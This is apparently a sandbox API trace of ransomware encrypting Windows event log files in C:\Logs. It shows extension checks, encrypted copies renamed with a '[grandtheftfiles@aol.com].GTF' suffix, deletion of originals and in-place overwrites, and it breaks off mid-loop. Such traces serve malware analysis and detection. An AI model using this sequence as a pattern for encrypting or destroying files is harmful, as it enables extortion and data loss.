	[0076.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.828] lstrlenW (lpString=".1cd") returned 4
	[0076.828] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.828] lstrlenW (lpString=".jpg") returned 4
	[0076.828] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.828] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.828] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50
	[0076.828] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.828] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0076.828] CloseHandle (hObject=0x374) returned 1
	[0076.828] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20
	[0076.828] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.828] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.828] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.829] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.829] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.829] GetLastError () returned 0x0
	[0076.829] ReadFile (in: hFile=0x374, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.832] WriteFile (in: hFile=0x340, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.834] ReadFile (in: hFile=0x374, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.834] WriteFile (in: hFile=0x340, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x138, lpOverlapped=0x0) returned 1
	[0076.834] SetEndOfFile (hFile=0x340) returned 1
	[0076.834] CloseHandle (hObject=0x340) returned 1
	[0076.837] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.837] SetEndOfFile (hFile=0x374) returned 1
	[0076.838] CloseHandle (hObject=0x374) returned 1
	[0076.838] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.838] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1
	[0076.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.838] lstrlenW (lpString=".doc") returned 4
	[0076.838] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.838] lstrlenW (lpString=".docx") returned 5
	[0076.838] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.839] lstrlenW (lpString=".pdf") returned 4
	[0076.839] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString=".xls") returned 4
	[0076.839] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString=".xlsx") returned 5
	[0076.839] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.839] lstrlenW (lpString=".ppt") returned 4
	[0076.839] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.839] lstrlenW (lpString=".zip") returned 4
	[0076.839] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString=".rar") returned 4
	[0076.839] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString=".bz2") returned 4
	[0076.839] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString=".7z") returned 3
	[0076.839] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.839] lstrlenW (lpString=".dbf") returned 4
	[0076.839] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.839] lstrlenW (lpString=".1cd") returned 4
	[0076.839] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.839] lstrlenW (lpString=".jpg") returned 4
	[0076.839] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.839] lstrlenW (lpString=".doc") returned 4
	[0076.839] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString=".docx") returned 5
	[0076.839] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.839] lstrlenW (lpString=".pdf") returned 4
	[0076.839] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.839] lstrlenW (lpString=".xls") returned 4
	[0076.839] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.840] lstrlenW (lpString=".xlsx") returned 5
	[0076.840] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.840] lstrlenW (lpString=".ppt") returned 4
	[0076.840] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.840] lstrlenW (lpString=".zip") returned 4
	[0076.840] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.840] lstrlenW (lpString=".rar") returned 4
	[0076.840] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.840] lstrlenW (lpString=".bz2") returned 4
	[0076.840] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.840] lstrlenW (lpString=".7z") returned 3
	[0076.840] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.840] lstrlenW (lpString=".dbf") returned 4
	[0076.840] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.840] lstrlenW (lpString=".1cd") returned 4
	[0076.840] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0076.840] lstrlenW (lpString=".jpg") returned 4
	[0076.840] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.840] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.840] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56
	[0076.840] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.841] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2166784) returned 1
	[0076.841] CloseHandle (hObject=0x374) returned 1
	[0076.841] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20
	[0076.841] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.841] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0076.842] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.842] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0x0) returned 1
	[0076.842] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0076.842] ReadFile (in: hFile=0x374, lpBuffer=0x3b30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b30058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0076.845] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0076.845] ReadFile (in: hFile=0x374, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0076.851] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x365fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.851] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x365fc24 | out: lpNewFilePointer=0x0) returned 1
	[0076.851] ReadFile (in: hFile=0x374, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x365fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x365fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0077.322] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.322] WriteFile (in: hFile=0x374, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x365fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fca8*=0xc015c, lpOverlapped=0x0) returned 1
	[0077.336] SetEndOfFile (hFile=0x374) returned 1
	[0077.336] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3eb3378
	[0077.341] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0077.341] WriteFile (in: hFile=0x374, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0077.343] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0077.343] WriteFile (in: hFile=0x374, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0077.345] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x365fc74 | out: lpNewFilePointer=0x0) returned 1
	[0077.345] WriteFile (in: hFile=0x374, lpBuffer=0x3eb3378*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x365fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eb3378*, lpNumberOfBytesWritten=0x365fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0077.346] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0077.346] CloseHandle (hObject=0x374) returned 1
	[0078.894] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.895] lstrlenW (lpString=".doc") returned 4
	[0078.895] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString=".docx") returned 5
	[0078.895] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.895] lstrlenW (lpString=".pdf") returned 4
	[0078.895] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString=".xls") returned 4
	[0078.895] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString=".xlsx") returned 5
	[0078.895] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.895] lstrlenW (lpString=".ppt") returned 4
	[0078.895] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.895] lstrlenW (lpString=".zip") returned 4
	[0078.895] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString=".rar") returned 4
	[0078.895] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString=".bz2") returned 4
	[0078.895] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString=".7z") returned 3
	[0078.895] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.895] lstrlenW (lpString=".dbf") returned 4
	[0078.895] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.896] lstrlenW (lpString=".1cd") returned 4
	[0078.896] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.896] lstrlenW (lpString=".jpg") returned 4
	[0078.896] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.896] lstrlenW (lpString=".doc") returned 4
	[0078.896] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString=".docx") returned 5
	[0078.896] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.896] lstrlenW (lpString=".pdf") returned 4
	[0078.896] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString=".xls") returned 4
	[0078.896] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString=".xlsx") returned 5
	[0078.896] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.896] lstrlenW (lpString=".ppt") returned 4
	[0078.896] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.896] lstrlenW (lpString=".zip") returned 4
	[0078.896] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString=".rar") returned 4
	[0078.896] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString=".bz2") returned 4
	[0078.896] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString=".7z") returned 3
	[0078.896] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.896] lstrlenW (lpString=".dbf") returned 4
	[0078.896] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.896] lstrlenW (lpString=".1cd") returned 4
	[0078.896] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0078.897] lstrlenW (lpString=".jpg") returned 4
	[0078.897] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.897] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.897] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49
	[0078.897] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0080.704] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0080.724] CloseHandle (hObject=0x33c) returned 1
	[0080.724] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20
	[0080.724] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0080.768] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.768] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.781] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0081.411] GetLastError () returned 0x0
	[0081.411] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.422] WriteFile (in: hFile=0x398, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.424] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.424] WriteFile (in: hFile=0x398, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x136, lpOverlapped=0x0) returned 1
	[0081.424] SetEndOfFile (hFile=0x398) returned 1
	[0081.425] CloseHandle (hObject=0x398) returned 1
	[0081.428] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.428] SetEndOfFile (hFile=0x39c) returned 1
	[0081.429] CloseHandle (hObject=0x39c) returned 1
	[0081.429] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.429] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1
	[0081.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.429] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.429] lstrlenW (lpString=".doc") returned 4
	[0081.429] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.429] lstrlenW (lpString=".docx") returned 5
	[0081.430] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.430] lstrlenW (lpString=".pdf") returned 4
	[0081.430] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString=".xls") returned 4
	[0081.430] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString=".xlsx") returned 5
	[0081.430] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.430] lstrlenW (lpString=".ppt") returned 4
	[0081.430] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.430] lstrlenW (lpString=".zip") returned 4
	[0081.430] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString=".rar") returned 4
	[0081.430] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString=".bz2") returned 4
	[0081.430] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString=".7z") returned 3
	[0081.430] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.430] lstrlenW (lpString=".dbf") returned 4
	[0081.430] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.430] lstrlenW (lpString=".1cd") returned 4
	[0081.430] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.430] lstrlenW (lpString=".jpg") returned 4
	[0081.430] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.430] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.430] lstrlenW (lpString=".doc") returned 4
	[0081.430] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.430] lstrlenW (lpString=".docx") returned 5
	[0081.430] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.430] lstrlenW (lpString=".pdf") returned 4
	[0081.430] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.431] lstrlenW (lpString=".xls") returned 4
	[0081.431] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.431] lstrlenW (lpString=".xlsx") returned 5
	[0081.431] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.431] lstrlenW (lpString=".ppt") returned 4
	[0081.431] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.431] lstrlenW (lpString=".zip") returned 4
	[0081.431] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.431] lstrlenW (lpString=".rar") returned 4
	[0081.431] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.431] lstrlenW (lpString=".bz2") returned 4
	[0081.431] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
